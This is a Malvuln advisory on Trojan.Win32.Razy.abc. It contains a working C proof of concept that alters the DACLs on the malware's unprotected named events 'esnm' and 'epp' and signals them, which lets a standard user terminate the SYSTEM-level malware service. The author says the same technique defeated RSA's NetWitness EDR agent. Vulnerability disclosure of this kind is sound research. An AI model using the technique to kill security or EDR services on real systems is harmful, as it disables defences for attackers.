Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/0eb4a9089d3f7cf431d6547db3b9484d.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Trojan.Win32.Razy.abc Vulnerability: Insecure Permissions (In memory IPC) Family: Razy Type: PE32 MD5: 0eb4a9089d3f7cf431d6547db3b9484d SHA256: 3d82fee314e7febb8307ccf8a7396b6dd53c7d979a74aa56f3c4a6d0702fd098 Vuln ID: MVID-2024-0678 Dropped files: performer.exe Disclosure: 04/07/2024 Description: The trojan installs a service under "C:\Program Files (x86)\SmartData" and runs with SYSTEM integrity. Terminating the malware service would typically require high integrity user privileges. However, standard low integrity users can sucessfully terminate it by exploiting insecure Win32 in memory event objects "esnm" or "epp". Since no permissions are set on these IPC objects a low integrity user can set the DACL to deny access for the everyone user group, then set and reset the event to cause the malware to terminate. Interestingly, I used same technique to defeat RSA's EDR agent "netwitness" CVE-2022-47529. PE file "performer.exe" is ran using rundll32 RunHTMLApplication. Win32 API Event objects. performer.exe creates Event \BaseNamedObjects\epp ===> with no permissions set svchost_ms.exe creates Event \BaseNamedObjects\esnm ===> with no permissions set Exploit/PoC: "Trojan_Razy_Exploit.c" #include "windows.h" #include "stdio.h" #include "accctrl.h" #include "aclapi.h" #define OPEN_ALL_ACCESS 0x1F0003 /* John Page (aka hyp3rlinx) - circa April of 2024 Malvuln project Incorrect in-memory Win32 API access control allows termination of the malware service by a standard user. Trojan.Win32.Razy.abc MD5: 0eb4a9089d3f7cf431d6547db3b9484d */ char Vuln_Events[][32] = {"Global\\esnm", "Global\\epp"}; BOOL PWNED=FALSE; int main(void){ PACL pOldDACL = NULL; PACL pNewDACL = NULL; int i=0; for(; i < sizeof(Vuln_Events) / sizeof(Vuln_Events[0]); i++){ HANDLE hEvent = OpenEventA(OPEN_ALL_ACCESS,FALSE,(LPCSTR)Vuln_Events[i]); if (hEvent != INVALID_HANDLE_VALUE){ if(!PWNED){ printf("[+] Exploiting Trojan Razy Event: %s\n", Vuln_Events[i]); } if(GetSecurityInfo(hEvent, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) == ERROR_SUCCESS){ TRUSTEE trustee[1]; trustee[0].TrusteeForm = TRUSTEE_IS_NAME; trustee[0].TrusteeType = TRUSTEE_IS_GROUP; trustee[0].ptstrName = TEXT("Everyone"); trustee[0].MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE; trustee[0].pMultipleTrustee = NULL; EXPLICIT_ACCESS explicit_access_list[1]; ZeroMemory(&explicit_access_list[0], sizeof(EXPLICIT_ACCESS)); explicit_access_list[0].grfAccessMode = DENY_ACCESS; explicit_access_list[0].grfAccessPermissions = GENERIC_ALL; explicit_access_list[0].grfInheritance = NO_INHERITANCE; explicit_access_list[0].Trustee = trustee[0]; if(SetEntriesInAcl(1, explicit_access_list, pOldDACL, &pNewDACL) != ERROR_SUCCESS){ printf("%d", GetLastError()); } if(SetSecurityInfo(hEvent, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS){ printf("%d", GetLastError()); }else{ PWNED=TRUE; SetEvent(hEvent); Sleep(1000); ResetEvent(hEvent); CloseHandle(hEvent); Sleep(1000); } LocalFree(pNewDACL); LocalFree(pOldDACL); CloseHandle(hEvent); Sleep(1000); } } } if(PWNED){ printf("[+] Trojan.Win32.Razy.abc / MD5: 0eb4a9089d3f7cf431d6547db3b9484d PWNED!\n"); PWNED=FALSE; } printf("[+] By malvuln... Done!\n"); system("pause"); return 666; } Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).